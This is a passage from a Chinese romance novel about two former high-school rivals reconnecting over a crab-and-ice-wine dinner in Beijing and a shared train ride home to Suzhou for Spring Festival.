“我订了双人份的外卖,一会儿就送到。”齐屿说,“辛苦你跑一趟,吃个晚饭再走。” 话说到这个份上,叶颂真也没有非走不可的理由。 其实,她今天没干什么重活,也就是帮忙打扫了一下她的梦中情屋。 既然齐屿说她有功劳,那她必须居功自傲。 小区斜对面就有一家生活超市,二人换上鞋,步行前往。 齐屿推着购物车挑选柴米油盐酱醋茶,叶颂真在他的身旁左顾右盼,活脱脱就像一对刚自立门户的小夫妻。 叶颂真很久没逛过国内的超市了,注意力全被新鲜事物所吸引——自助收银机、空中传送带、AI导购机器人。 “太高级了,”叶颂真感慨,“这么一看,多伦多简直跟乡下一样。” “国内早就有这些东西了,”齐屿问,“加拿大没有吗?” 叶颂真摇摇头:“反正我没见过。” 齐屿挑了一盒牙线,随口问道:“加拿大的超市什么样?” “那边有很多不同的超市。”叶颂真一一列举,“沃尔玛、开市客这样的大型商超,跟国内差不太多。有一家叫大统华的连锁华人超市,什么都卖,我无聊的时候会去那儿闲逛。我住的地方附近还有越南人开的中国超市,像上个世纪的小卖部,东西也还算实惠。” 齐屿又问:“那你平时去超市都买些什么?” “主要是吃的。那边蔬菜匮乏,肉的种类不多,动物内脏也少。”叶颂真滔滔不绝,“速冻披萨、冷冻鳕鱼倒是很便宜。哦,还有哈根达斯,几刀就能买一大桶,吃到爽!” 齐屿安静地听她说话,想象着那是怎样的一种生活。 边走边聊,不知不觉就逛到了水产区。 这个月份,正是品蟹的好季节。五花大绑的大闸蟹趴在碎冰上,时不时地往外吐着泡沫。 叶颂真不由地想一件事:“之前我加了一个多伦多本地的团购群,群主能搞到鲜活的大闸蟹,数量有限。有一个中国留学生,大概是没抢到大闸蟹,居然把团购群给举报了,群主也被食品检验局的人给带走了。” 她越说越痛心:“我定金都交了,钱货两空。” 齐屿问:“后来呢?” “后来,”叶颂真娓娓道来,“大家发现这个中国留学生是从北京朝阳来的,也就释怀了。” 齐屿:“……” 看来,不光有加拿大人常住北京朝阳,也有朝阳群众在加拿大发光发热。 “没把你一起抓走就不错了。”齐屿评价道,“大闸蟹在北美应该属于入侵物种。你在苏州吃了那么多年的大闸蟹,居然没吃腻……非得在北美吃?” “独在异乡为异客,”叶颂真叹息,“很难不怀念家乡的美食。” 齐屿挑了四只大个的螃蟹,两公两母。 “诶?你要买大闸蟹?”叶颂真拽了拽齐屿的衣袖,“回苏州吃就好了呀,正宗的阳澄湖大闸蟹,带蟹戒指的那种。” 她压低声音,悄咪咪地说:“这些都是洗澡蟹,一点儿都不地道。” “你还会用地道这个词?” “来北京,入乡随俗嘛。” “被你这么一说,我突然想吃大闸蟹了。”齐屿把打包好的大闸蟹放进购物车,慢悠悠地走着,“这价格比阳澄湖大闸蟹实在多了。” “你要回去清蒸?”叶颂真惊讶,“这不合适吧?” “有什么不合适?” “入宅开火要择吉日吉时,哪有你这么随便的?” “我看今天这日子就不错。” “……” 哎,白瞎了那么好的房子。 齐屿他果然住不明白。 清蒸大闸蟹,生姜和镇江香醋必不可少,齐屿挨个去找。 调味区的隔壁是酒水区,叶颂真在此有意外发现:“这里居然卖冰酒?” 冰酒是一种甜型葡萄酒,采用在葡萄藤上自然冰冻的葡萄酿造而成,全程不加糖。 加拿大土地广袤、气候严寒,是冰酒的最大产区。冰酒度数不高,喝起来甜美醇厚、果香浓郁。 叶颂真之前过生日,朋友送了她两支冰酒。酒瓶纤细、修长,酒液呈淡淡的金色,她一尝就爱上了。 她有时候还会专门去LCBO(安大略省国营酒类专卖店)选购不同酒庄的冰酒,自己私下小酌。 “你想喝葡萄酒?”齐屿推着购物车上前,“想喝就拿。” “也不是非喝不可,”叶颂真把这支冰酒放回货架上,“我可以回加拿大再喝。” “都是成年人了,想喝就喝吧。” “……” 齐屿这么一说,叶颂真又回忆起一件往事。 高三有一次班级聚餐,班主任不在,几个男生吆喝着要了一箱啤酒。 彼时班里有人成年,有人未成年。齐屿在大人那桌喝啤酒,叶颂真只能在小孩那桌喝椰子汁和果粒橙。 未成年时期,大家对十八岁总会抱有许多不切实际的期待。似乎只要跨过十八岁这道坎,就能摇身一变成为大人,自由触手可及。 因此,那些禁忌行为的诱惑力会被放到最大,喝酒也是其中之一。 叶颂真当时可馋啤酒了。 雪白的泡沫,馥郁的麦芽香气,冰镇之后的濛濛水雾……太勾人了。 齐屿倒了一杯啤酒,特意找她碰杯。她让齐屿给她也来一点儿,他偏不,还摆出一副正经的嘴脸:“小孩不能喝酒。” 在叶颂真的软磨硬泡之下,齐屿往果粒橙的瓶盖里倒了一丁点儿,让她尝尝咸淡。她什么味道都没品出来,还想再要一些,他却怎么都不肯给。 事后,叶颂真为此愤懑不已。 她的好奇心怎么就那么重呢?竟然让齐屿享受了一把予夺予取的滋味。 因为高考失利,叶颂真过了一个糟糕透顶的十八岁生日,对成年的所有期待也跟着泡汤了。 十八岁之后的她,没再见过齐屿……直到今年的意外重逢。 齐屿又拿了红酒开瓶器、醒酒器和高 脚杯,这才去自助收银机排队。 结完账,他拎起一大兜子东西,对叶颂真说:“走吧,回家了。” 语气自然得很。 到家的时候,外卖已经在门口了。 叶颂真把冰酒搁进冰箱的冷藏室。根据她的经验,零上8摄氏度的冰酒适口性最好。 齐屿在厨房里忙活。大闸蟹清水冲洗,倒扣在篦子上,码好,再垫上姜片,冷水上锅,大火蒸十五分钟。两只味碟装上香醋,姜丝切得细细的,放进去。 叶颂真往高脚杯里倒入三分之一的冰酒。 齐屿特意选用成套的釉下彩瓷碟,外卖送来的几道菜也精心摆了盘。 一桌子的美酒佳肴这就备齐了。 暖色的餐桌灯一打,颇有点儿烛光晚宴的氛围。 叶颂真用手机对着这桌美食咔嚓咔嚓地拍了起来,还得切换不同的角度和模式。 “你拍完了吗?” “马上。” “什么时候能吃饭?” “你往边上去去,人都入镜了。” “……” 齐屿只得往旁边挪了挪。 叶颂真拍完最后一张照片,问:“要不要我把照片发给你?” 齐屿冷笑一声,说:“我才不要。” 见叶颂真还在欣赏着她的摄影作品,齐屿又道:“你比我更像这里的主人。要不你回去收拾收拾,搬进来住得了。” 叶颂真一张一张地划动照片,头都没抬一下:“那你不成我房东了?是不是还得给你押一付三?” “也不是非得付房租……”齐屿解开蟹绳,视线飘向叶颂真,“你可以来我家打扫卫生,正好也有空房间给你。” 叶颂真:“……” 早知道今天她不帮齐屿打扫了,他又嘚瑟上了。 叶颂真坐到餐椅上,看着熟透的大闸蟹:“蟹八件呢?” “你这么雅呢?”齐屿揶揄,“还得文吃……” “平时武吃就罢了,”叶颂真扯下蟹腿,“现在不是跟您这儿的格调不搭么?” 她来北京没几天,这就学会了北京人阴阳怪气的本领。 叶颂真熟练地取出蟹腿肉,蘸上香醋,送入口中。蟹壳掰开之后,膏肥满黄,卖相极佳。 再配上温度适宜、酸甜均衡的冰酒,简直是人间至味。 “这么喝酒多没意思,”齐屿提议,“要不要玩游戏?” “什么游戏?” “我有你没有。” 高中时期,叶颂真经常跟朋友玩这个游戏。 游戏规则很简单,每个人轮流说一件自己有、别人大概率没有的事情。 如果对方真的没有,我方得分。万一对方也有,那对方就能得分。不能撒谎,撒谎被发现要被罚分。 大家有很多好玩的点子。 比如,“我暑假第一周就写完了暑假作业”“我上课偷偷睡觉没被老师发现”“我的干饭速度全班第一”……每次玩起来都趣味盎然。 叶颂真点了点头:“行,谁输了就喝一杯。” “那我先来?”齐屿用湿纸巾擦了擦手,正襟危坐,“我在北京有房。” 叶颂真:“……” 大意了,没有闪。 9.北京时间 Chapter09 叶颂真早该想到—— 齐屿提议玩游戏,能有什么好事等着她?这家伙刚买了房,显摆的心思早就偷偷藏不住了。 “齐屿,”叶颂真幽幽开口,“你已经不纯洁了。” 齐屿立即反驳:“我纯洁得很。” “我说得不够准确,是不纯粹了。”叶颂真为自己斟酒,“你要是这么玩游戏,迟早没朋友。” “我又不差朋友……”齐屿的目光在她的脸上停留片刻,嘴唇轻微地翕动,终究没再说下去。 叶颂真心想,齐屿说得没错。 他俩算哪门子的朋友?分明是天造地设的死对头。 她刚要喝酒,齐屿便道:“算了,这把重来。” “愿赌服输。”她一饮而尽。 酒液甜丝丝、冰冰凉,还挺好喝。 这下来到叶颂真的回合。她思索片刻,说:“除了汉语和英语,我还会第三种语言。” 齐屿问:“什么?” 叶颂真很得意:“法语。” 加拿大的官方语言有两种,英语和法语。魁北克省是最典型的法语区。 她上学的时候,选修了法语课。几年过去,她的法语也能讲得像模像样了。 叶颂真清了清嗓,给齐屿来了一句:“Tuesbête!(你好笨呀!)” “什么意思?” “夸你聪明。” 齐屿低嗤:“你骂我笨呢。” 叶颂真惊讶:“你懂法语?” “我不懂法语,”齐屿的嗓音略带嘲意,“我懂你。” 这恰恰证明齐屿聪明,笨的另有其人。 叶颂真抹不开面子,只能用食指关节敲了敲桌面,提醒道:“该你喝酒了。” “我不喝,你喝。”齐屿往她的酒杯里倒了一点点酒,“我也会第三种语言。” “什么?” “C语言。” “……” “我不光会C语言,还会Python、C++、Java,”齐屿罗列了几种编程语言,“这么算下来,我会的语言比你多得多。” 叶颂真后悔得想捶大腿,她刚刚就不该卖那个关子。 要不说装逼遭雷劈呢。 可是……这样的话,齐屿早该被雷劈死了呀。 叶颂真连饮两杯冰酒,决定打起十二分的精神来对付齐屿。 轮到她再次发言:“我曾经去电影院里听老师讲课。” “什么老师会在电影院里讲课?” “有段时间,学校装修教学楼,我选的一门课没有教室。学校就跟附近的电影院租借了场地,安排我们去电影院里上课。” “还能这样?” “电影院一大清早卖不出票,还不如收点儿场地费。那节课是早八,老师是印度裔,一口咖喱味的英语,我听着特别费劲。那儿的椅子又太舒服,还带按摩功能,我经常听着听着就睡着了。” 这下齐屿必须得喝酒了。 叶颂真给他倒了一大杯,酒液快要漫到杯肚,齐屿全干了。 在叶颂真刁钻古怪的进攻之下,齐屿一杯又一杯地喝着酒。 冰凉的葡萄酒入肚,身体不知不觉地升温。偶尔有那么一瞬,齐屿也会神智恍惚。 叶颂真沐浴在温柔的橘色灯光之下,眼皮上的珠光色眼影像亮晶晶的繁星。肌肤细腻,嘴唇点缀着莓果般的红。 她画了妆,跟平时不一样。他今天见她的第一眼,就注意到了。 “齐屿,齐屿。”叶颂真犹如欢腾的雀鸟,叫他的名字,“轮到你了。” 齐屿摇了一下头,似乎恢复了些许意识。 叶颂真正在期待地看着他,眼睛忽闪忽闪,鸦羽似的睫毛像是能扇出一阵风。那阵风吹呀吹,吹呀吹,吹开最深处的隐秘。 齐屿头脑一热,脱口而出:“我有喜欢的人。” 叶颂真一愣神,又眨了眨眼,好奇地问:“谁呀?” 齐屿一下子就清醒了。 “秘密,”他用拇指蹭着杯沿,“不告诉你。” 叶颂真跟他打包票:“你告诉我,我又不会告诉别人。” 齐屿自嘲般地扯起嘴角:“我要是告诉你,马上你的闺蜜就会知道,然后全世界都知道了。” 叶颂真:“……” 他的担心确实合情合理,但是—— “齐屿,”叶颂真鄙夷地说,“你不告诉我就是没有。” 齐屿不打算再继续这个话题。 “齐屿,你撒谎。”叶颂真指责,“你这个人为了赢简直不择手段!” 她把剩下的冰酒都倒进他的杯子,催促道:“快喝快喝!” 齐屿没再争辩。 他仰起头,喉结微微一滚动,一口闷下杯中酒。 /// 晚上九点,齐屿叫了一辆专车送叶颂真回家。 起先,他还有些担心。但是,叶颂真的精神很好,一点儿醉酒的迹象都没有。专车司机是女司机,手机上还能实时查看行程,齐屿也就放心了。 送她上车之后,齐屿又叮嘱了一句:“到家记得给我发消息。” …… 叶颂真酒足饭饱地回到家,这才发觉身体酸软、四肢乏力。 她瘫在沙发上,一动也不想动,倒还记得给齐屿发消息:「我到家了。」 齐屿回复得很快:「知道了。」 这时,梁丘羽发来消息。 梁丘羽:「你到家了吗?齐屿买的房子什么样?我太想知道了。」 白天的时候,叶颂真没跟她多讲,只说晚上回去再讲。 叶颂真懒得打字,干脆报出那个小区的名字,让梁丘羽自己去搜。 没过多久,梁丘羽就发出惊叹:「OhMyGod!」 这样的反应在叶颂真的意料之中。因为,她今天也偷偷查了小区的房价。 单价六位数,最小的户型也有一百六十平米——齐屿买的甚至不是最小的户型。 梁丘羽:「齐屿果然赚大钱了。先富应该带动后富。你要不问问他,可不可以帮助一个贫穷的小女孩致富?」 叶颂真:「我很贫穷吗?」 梁丘羽:「我说的是我!」 叶颂真:「……」 梁丘羽:「他买的什么户型啊?大不大?」 叶颂真:「四室。」 梁丘羽:「他一个人为什么要买那么大的房子?不怕晚上闹鬼吗?」 叶颂真:「谁知道呢。」 梁丘羽:「哦,我知道了。男生嘛, 买的应该是婚房,一大家人住。他买四室,是不是想生三胎啊?」 叶颂真:「不会吧?」 梁丘羽:「怎么不会了?有钱人就该响应国家号召!」 叶颂真不禁想象着那个画面。 手里牵一个,怀里抱一个,肚子里还怀一个……哎,谁跟齐屿结婚也是倒了八辈子大霉。 叶颂真去卫生间卸妆、洗漱。 回到床上,她躺着刷手机。刷着刷着,眼皮越来越沉,就在即将合眼的那一秒,齐屿又发来新消息:「睡了?」 她猛地一惊,困意全无。 叶颂真:「睡了。」 消息发送之后又撤回了——她就不该搭理他。 齐屿:「你今天拍的照片怎么没有发朋友圈?」 消息发送之后也撤回了,连带着上一条消息一起撤回。 叶颂真:“……” 她晚上问过他,要不要照片,他说不要。她拍照只是为了记录,又不是非得发在朋友圈。 齐屿果然有病。 一手的照片不要,非得去朋友圈存二手的。 什么人哪这是! /// 年关将至,叶颂真要回苏州过年。 梁丘羽好心提醒:「春节前后的高铁票不好买,你得提前做好打算。」 高铁出行是叶颂真的首选。 年前机票的价格水涨船高,谁乐意白白给航空公司送钱呢?而且,机场一般都建在郊区,来回一趟比高铁要累得多。 当然,还有最重要的一点——苏州没有机场。 苏州周边一共有六个机场,机场密度比肩纽约、伦敦和洛杉矶。但是,苏州辖区内并没有机场。 苏州人坐飞机,选机场就像选奶茶。去上海,去无锡,去常州……四面八方都精彩。 高铁开票的前一天,叶颂真接到一个电话。 对方是某五百强外企大中华区总部的HR,约她明天进行远程面试。 不巧的是,刚好跟抢票的时间冲突。预填不够稳妥,关键时刻还得手动。 叶颂真想到齐屿,他的抢票经验应该很丰富。 叶颂真:「齐屿,你买过年回家的高铁票了吗?」 齐屿:「没有。怎么了?」 叶颂真:「我明天有事,你能不能帮我抢一下高铁票?」 齐屿没有立刻回复。 叶颂真心想,难道他不乐意帮忙?人不能这么小气吧?她上次还“好心”去帮他搬家呢。 过了一会儿,齐屿回应:「我在开会。明天帮你。」 叶颂真给他转了一笔钱:「买二等座。」 商务座太奢侈,二等座才是性价比之选。至于一等座……那是抢不到票的大冤种。 齐屿:「你的身份证号、手机号。」 叶颂真发送个人信息,不忘强调:「仅限用于购买高铁票。」 真怕明天早上一睁眼,就背上八百万网贷。 齐屿:「放心,以你的信用贷不出那么多。」 叶颂真:「那你准备贷多少?」 齐屿:「用人不疑,疑人不用。这叫格局。」 齐屿:「我有,你没有。」 齐屿是不是想赢想疯了? 算了算了,让他赢让他赢。 10.北京时间 Chapter10 翌日,远程面试一切顺利。 叶颂真微笑着与面试官道别。 合上笔记本电脑之后,她伸了伸懒腰,站起来活动筋骨。 她今天的表现特别出色,对答如流——但愿能有一个好结果。 叶颂真打开被静音的手机。 十分钟之前,购票成功的通知就弹了出来。 不得不说,齐屿办事还挺靠谱。 只不过…… 这票是不是买错了? 叶颂真:「你买的怎么是从北京到上海的高铁票?」 齐屿:「全程票好买。」 这趟列车中途只在南京经停,叶颂真得从上海虹桥返回苏州市区。上海就在苏州隔壁,这难不倒她。她经常去上海,对上海很熟悉。 叶颂真的奶奶是老上海人,早年嫁到苏州。如果这一条写进求职问卷能加分,那她完全可以声称自己拥有四分之一上海血统,一点儿都不虚。 从上海回苏州,叶颂真至少能想出一百种方法。 当然,她的父母肯定会坚持开车来上海接她回家。叶知秋大概会这么说:“哎呀,单程只要一个小时,方便得不得了。” …… 春节临近,工作进入半假期模式,公司里的同事越来越少。 叶颂真人还在工位,魂早已不在。摸鱼,划水,撕日历,计划春节期间的吃喝玩乐……一眨眼就到了回家的日子。 这天一下班,叶颂真就提上行李箱,直奔北京南站。 这个行李箱足足有28英寸,里面塞得满满当当。为了节约空间,她只带回一件羽绒服,就是她的加拿大鹅——穿着走。 到了北京南站,距离发车仅剩十五分钟。这里人山人海,一眼望不到尽头。 叶颂真好不容易找到快速进站口,吭哧吭哧地上了车。车厢首尾的大件行李处早就被塞满了,一点儿空隙都没有。 叶颂真拖着行李箱在狭窄的过道里穿行,对照车票信息一排一排地寻找自己的座位。 2D……2D……找到了! 她刚要对号入座,就发现邻座2F的乘客跟她穿着一模一样的加拿大鹅。 再一看,这不是齐屿吗? 他人模狗样地坐在靠窗的位置,小桌板上放着MacbookPro。他浏览着屏幕,指尖在触控板上来回滑动。 “齐屿,”叶颂真问出一个愚蠢的问题,“你怎么在这儿?” 齐屿的视线蜻蜓点水一般地掠过她,又折回电脑屏幕:“我不能回苏州过年?” 叶颂真尚未缓过气来,胸口一鼓一鼓。 这家伙跟她买同一趟车票,却没有提前跟她说,肯定没安什么好心——你看看,这下两人又撞衫了。 叶颂真质问:“齐屿,你就非得穿这件加拿大鹅?” 齐屿轻点触控板,弹出一个新界面:“这叫衣锦还乡。” 叶颂真呆立在原地,坐也不是,站也不是。 真不想跟这种装逼的人沾边,万一哪天雷劈下来误伤到她呢? “你怎么不坐?”齐屿瞥着身旁的座椅,“这上头有刺?” “你为什么要把座位跟我买在一块儿?” “你坐你的,我坐我的。”齐屿悠哉悠哉地说,“你又不坐我腿上,我坐哪儿跟你应该没关系吧?” 叶颂真:“……” 怎么会有这么没脸没皮的人? 这时,走道里有人借过:“麻烦让一让,箱子挪一下。” 叶颂真赶忙拉着行李箱坐下。这个行李箱太大,放哪儿都碍事,必须得搁到上方的行李架上。 她想找乘务员帮忙。但是,这节车厢暂时没有乘务员。 齐屿握住行李箱的把手,主动提议:“我可以帮你放上去。” “哦,那你放吧。” “……你先求我。” “我为什么要求你?”叶颂真被他气笑了,“你这么想让我求你?那你求我求你呀。” 二人僵持之际,后排的大哥热心上前:“哎,小伙子,你是不是拿不动啊?我来帮你把行李箱放上去吧。” 大哥正要帮忙,齐屿腾地站起来,语气礼貌而疏离:“谢谢,不麻烦。” 说罢,他轻轻松松地搬起行李箱,抬手放到架子上。 大哥嘁了一声。 他就不该多管小情侣的闲事! …… 列车准时发动。 叶颂真无聊,半托着腮,扭过头来看齐屿。 “齐屿,”叶颂真的话里夹枪带棍,“我还以为你会买商务座呢。” “我要是一个人也就买商务座了,”齐屿镇定自若,“这不还得捎带上你吗?” 叶颂真被噎得说不出话来,忍不住红温。 车厢热,她脱下羽绒服,放到腿上,这才凉快了。 “你得谢谢我,”齐屿又说,“没给你买三等座就不错了。” “高铁哪儿来的三等座?” “二等座B列。” 叶颂真看向走道的那一侧,中间那个座位刚好是2B。 不靠窗,也不靠走道,夹在中间,左右为难——确实是比其他二等座更低一等的存在。 “那我谢谢你了,”叶颂真不屑哼笑,“你真是一个大好人。” 她不再理会齐屿,打开小桌板,准备找一部剧看。 但是,高铁上信号不好,视频卡顿。哎,移动移不动,联通联不通。 不知道齐屿的电脑有没有联网? 叶颂真瞟着齐屿的电脑屏幕,上面滚动着一堆字符,也不知道是什么,看不懂。 目光不自觉地向上游走。 齐屿的眼睛里映着屏幕的荧光,神情专注。 他的腮上没有太多肉,脸上皮贴骨,能清楚地看到骨骼的形状。清晰,锋利,棱角分明。 高中时期,叶颂真只觉得齐屿面目可憎。 毕业之后,时光令许多记忆都淡退了。齐屿的形象在她的脑海中渐渐模糊,竟然模糊到了相见不相识的程度。 叶颂真想起前段时间在Tims的偶遇。 抛开那些过往不谈,齐屿的外形很符合她的审美。 “你在看什么?”齐屿冷不防地问。 叶颂真敛眸,重新看向他的屏幕:“高铁上信号太差,我只是好奇你的电脑有没有联网。” “这些都是我司的商业机密,”齐屿吓唬她,“你不会想窃取吧?” 叶颂真反问:“我长得像商业间谍吗?” 齐屿正要戏谑,侧眸却见她只穿了一件羊绒针织衫,锁骨隐入圆弧形的领口。 薄薄的羊绒,好似一层细雪覆盖在身上,贴合着起伏的曲线。 齐屿立刻撇开眼神,看向窗外。那里黑黢黢的一片,什么也没有。 他只听见叶颂真的嘟哝:“公司要是 知道你在高铁上处理商业机密,第一个就把你开了。” 齐屿安静得异常,叶颂真不再说话,准备小憩。 就在这时,齐屿的手机叮了一声。他划开手机屏幕,垂眸看了一眼,眉头也皱了一下,随后把手机撂在一旁,轻轻叹了一口气。 这看上去不是什么好事,叶颂真必须得打听打听,给自己找点儿乐子。 “齐屿,”她关心地询问,“你怎么了?好像不太开心。” “今年的年终奖不怎么样。” “是吗?是你的绩效不行还是公司的效益不好啊?” “不清楚。年终奖只发十个月,感觉没什么前途。” 叶颂真:“……” 十个月的年终奖?没前途? 这家伙还跟当年一样面目可憎! “再这样下去得跳槽了。”齐屿合上笔记本电脑,任由身体放松,躺进椅子里。 “你要跳槽?”叶颂真惊讶。 “有这个计划。”齐屿不像在开玩笑。 齐屿所在的公司是国内的行业头部,多少高材生挤破脑袋都挤进不去。 叶颂真想不出齐屿还能到哪儿谋取高就,便问:“你要往哪儿跳槽?” “外企wlb(工作生活平衡)更好。国内大厂太卷,工作忙,顾不上别的。” “外企也没有你想象得那么好,薪资水平大概率比不上国内大厂。” “有猎头联系我,说对方公司愿意给我涨薪百分之三十,还承诺了股票和分红。” 叶颂真:“……” 她真是多嘴提这一句。 她就该当哑巴,免得让齐屿又找到装逼的机会。 叶颂真默默地戴上耳机,闭目养神。 齐屿的手搭在二人座椅中间的扶手上,胳膊肘不小心蹭到她。 叶颂真睁开眼睛,条件反射似的脱口而出:“齐屿,不准越过三八线。” 言毕,她不禁愣怔——这句话太耳熟了。 她和齐屿曾经当过同桌,时间不长,只有一两个月。那段日子,她几乎天天说这句话。 要问两人为什么会当上同桌,这事可得好好说道说道。 某次期中考试,叶颂真考了班级第一。 齐屿比她低一分,屈居第二。 班级照例调整座位,班主任突发奇想,说这回按排名依次选座位。 教室被清场,大家都站在走廊里,听老师挨个念名字。 叶颂真像一只骄傲的小孔雀,第一个走进教室。 她早就看好一处风水宝地,进可专心听讲,退可自娱自乐。 结果,板凳还没焐热,齐屿就挨着她坐了下来。 叶颂真难以置信,这个学人精又要搞什么幺蛾子?! 同学们唏嘘起哄,班主任示意大家安静,他有话要说:“班级第一和班级第二坐在一起,既是同桌,又是对手。两人你追我赶、争先恐后,班里的学习氛围也会被带动起来。大家要学习他们身上这种勇于竞争、敢于拼搏的精神。鼓掌!” 众人肃然起敬,掌声啪啪啪地响起来。 叶颂真坐直身子,迎接表扬。 两人就这么稀里糊涂地成了同桌。 事后,叶颂真越想越不对劲,便跟梁丘羽讨论起齐屿的动机。 “齐屿为什么非得坐我旁边?”叶颂真十分怀疑,“他是不是想监视我的一举一动,偷偷给老师打小报告?” 11.北京时间 Chapter11 那是一个没有星星的夜晚。 晚自习下课之后,叶颂真在校门口等梁丘羽一起回家。 一见到梁丘羽,她就大倒苦水,抱怨自己和齐屿成了同桌。 叶颂真骂道:“那家伙肯定没安好心,指不定哪天就找班主任打我的小报告!” “话也不能这么说,”梁丘羽有不同的看法,“这种事情损人不利己,他可以打你的小报告,你也可以打他的小报告,两败俱伤有意思吗?” 叶颂真心想,两败俱伤的事情他们俩也没少干。 梁丘羽拽着书包的尼龙织带,沉思片刻,提出另一种见解:“我觉得吧,你跟他就像肯德基和麦当劳。” 叶颂真请教:“什么意思?” “肯德基和麦当劳是竞争对手,两家店经常开在一起。”梁丘羽说,“如果你在街上发现了一家肯德基,百步之内必有麦当劳。” 叶颂真还是没听明白。 梁丘羽继续解释:“你说你选了教室里最好的位置,这就相当于餐厅选址选在了最好的地段。既然这是你深思熟虑之后的选择,那么齐屿只需要坐在你的旁边,就可以享受你的思想成果。” 她甚至还用了一个新学的词汇来形容齐屿的这种行为:“这叫搭便车。” 叶颂真仔细咂摸了一番。 嗯,有道理。难怪齐屿总是学她……某种程度上说,这也算肯定她的眼光。 她挑的那个位置真的特别好,一般人绝对发现不了这样的妙处。可惜,就这么被齐屿白白占了便宜。 事已至此,叶颂真又有一个新问题:“肯德基和麦当劳能分出高下吗?” 言下之意,她和齐屿到底谁能赢?她最关心这个了。 “哎呀,这个问题我能跟你畅聊一个晚自习。”梁丘羽分析得头头是道,“肯德基的蛋挞好吃,麦当劳的薯条好吃。你知道吗?豆瓣有一个小组,专门品鉴肯德基和麦当劳……” 后面说的什么来着? 叶颂真也记不太清了,只记得两人一路聊着肯德基和麦当劳就回家了。 …… 如今回忆起来,这个问题仍然不能细想。因为,叶颂真越想越饿。 今天她为了赶高铁,走得匆忙,来不及吃晚饭。这会儿,她仿佛已经闻到了肯德基蛋挞的奶香。 不对,这不是幻觉。 叶颂真再次睁开眼睛。 只见齐屿的小桌板上摆着肯德基的打包袋,装蛋挞的盒子在面前摊开,里面刚好有两个金黄的蛋挞——这是想馋死谁? 叶颂真瞥他一眼,装不经意地说了一句:“哟,吃晚饭呐。” 齐屿嗯了一声,继续从打包袋里往外掏香辣鸡腿堡:“这个时间也该吃晚饭了,你不吃晚饭吗?” 叶颂真嘴硬:“我不饿。” “那可太遗憾了,”齐屿又掏出一个劲脆鸡腿堡,“我不小心买多了。本来还想分你一个,现在看来不用了。” “你要是吃不完,可以求我帮你。”叶颂真端着架子,“虽然肯德基的汉堡不如汉堡王的好吃……但是,也不是不能吃。” “没事,我不求人。”齐屿一层一层地打开防油汉堡纸,“其实,我也不是很爱吃肯德基的汉堡。我嫌它油大、肉厚、酱多,一口咬下去咔嚓酥脆,还爆汁。” 说罢,当着叶颂真的面咬了一口汉堡。 叶颂真:“……” 可恶,她更饿了。 齐屿吃完一个汉堡,对着另一个汉堡佯作叹息:“怎么办?吃不完了。看来只能带回去接着吃了。” 叶颂真没好气地说:“带回去都凉了。” “凉了怕什么?”齐屿说,“放进微波炉加热一下就好了。” “齐屿,你懂汉堡吗?”叶颂真急了,“微波炉加热过的汉堡还叫汉堡吗?你要是吃不明白就给我!” “我给你,你就能吃明白了?” “我比你明白,”叶颂真顺势拿起那个汉堡,“汉堡得翻过来吃,带芝麻的那一面饼皮朝下,这样夹心不容易掉出来……” 齐屿恍然大悟:“还能这样?” “那当然,要是有土豆泥,也可以加到汉堡里。”叶颂真往袋子里瞅了一眼,“还真有。” 她演示一番,又咬上一口,顺理成章地吃上汉堡。 “那蛋挞应该怎么吃?你要不要也给我示范一下?” “你是不是笨?蛋挞当然是用嘴巴吃。” 叶颂真捏起蛋挞,送入口中。 啊,真香。 /// 列车于深夜抵达上海虹桥,旅客陆陆续续下车。 叶颂真的父母发来消息,说在地下车库的车里等她。齐屿把她的行李箱取下来:“我也去地下车库。” 叶颂真套上羽绒服,随口问了一句:“你爸妈也来接你吗?” 齐屿没有回答。他拉着行李箱,大步流星地往前走,催促道:“你快点儿,别跟丢了。” 叶颂真小步快跑地跟了上去,和齐屿肩并肩地走在一起。 走着走着,她突然想到,两人还穿着一模一样的羽绒服呢。 “齐屿,你能不能把你的羽绒服脱了?让人看见了容易误会。” “误会什么?” “你也不想被人误会跟我穿情侣装吧?” “……” 齐屿没有要脱的意思,反问道:“那你怎么不脱?” 叶颂真理所当然地说:“因为脱了会冷啊。” “我就不会冷了?” “哎呀,你皮糙肉厚,不怕冻。别磨磨蹭蹭了,快脱!” 齐屿无语。 他停下脚步,解开扣子,拉开拉链,真把羽绒服给脱了。 叶颂真瞬间愣在当场。 齐屿竟然穿了一件带清华大学校徽的卫衣。那个校徽有脸盆那么大,就这么明晃晃地印在胸口。 齐屿面无表情地说:“这下你满意了?” 叶颂真恼羞成怒:“你给我穿回去!” 如果装逼犯法,那齐屿就该被判无期徒刑。 不,死刑!还得是立即执行的那种! “你让我脱我就脱,你让我穿我就穿。”齐屿嗤笑,“你是我老婆吗?管那么宽。” 叶颂真:“……” 这下穿上也不是,脱了也不是。她简直拿齐屿这个混球束手无策。 齐屿倒也不是刻意要穿这件卫衣。 今天下午他去参加清华大学的校友活动,大家统一着装。活动结束之后,他就来高铁站了。车上挺热,他也没脱外套。 直到……叶颂真命令他脱。 叶颂真骂道:“你个显眼包。” “上清华又不丢人,”齐屿说,“换作是你,睡觉都舍不得脱吧。” 叶颂真咬牙切齿:“齐屿!你空口白牙地污蔑我!” 二人骂骂咧咧、打打闹闹地进了电梯。 在叶颂真的拳脚攻击之下,齐屿又穿上了羽绒服。拉链刚拉上,电梯门就开了,外面赫然立着一个人影。 叶颂真被吓了一大跳:“妈!你怎么在这儿?不是说在车上等我吗?” 叶知秋穿着鄂尔多斯羊绒大衣,系着桑蚕丝印花丝巾。她是苏州本地某大型国企的领导干部,打扮低调、知性又优雅,尽显从容。 “今天太晚了,你爸爸不放心,叫我过来迎迎……”叶知秋微笑着将视线投向齐屿,“囡囡,这位是?” 齐屿立马站直身子,主动进行自我介绍:“阿姨,我是齐屿,叶颂真的高中同学。以前学校开家长会,我还见过您呢。” “哦,齐屿,我记得。”叶知秋点点头,笑盈盈地说,“以前我们家叶颂真总是提起你,说你成绩特别好,在学校也经常关照她。” “妈,”叶颂真怀疑,“你是不是记错了?” 她什么时候说过这种话了? 齐屿忍不住看了一眼叶颂真,语调带着轻微的上扬:“阿姨的记性真好。” 叶知秋问:“你们怎么一道过来了?” “说来也是有缘,我跟她刚好买到了同一趟的车票。”齐屿大言不惭,“我来地下车库这边,准备打车回去。” “还打什么车呀?”叶知秋热情洋溢,“我们车上就有现成的位置,正好一趟顺风车捎你回去。” 叶颂真想让叶知秋别多管闲事,谁知齐屿一点儿也不拿自己当外人:“那真是太好了,谢谢阿姨。” 叶颂真小声嘀咕:“齐屿,你真不识好歹。我妈就跟你客气客气,你还当真了?” “是吗?”齐屿不以为意,“我觉得阿姨没有你想得那么小气。” 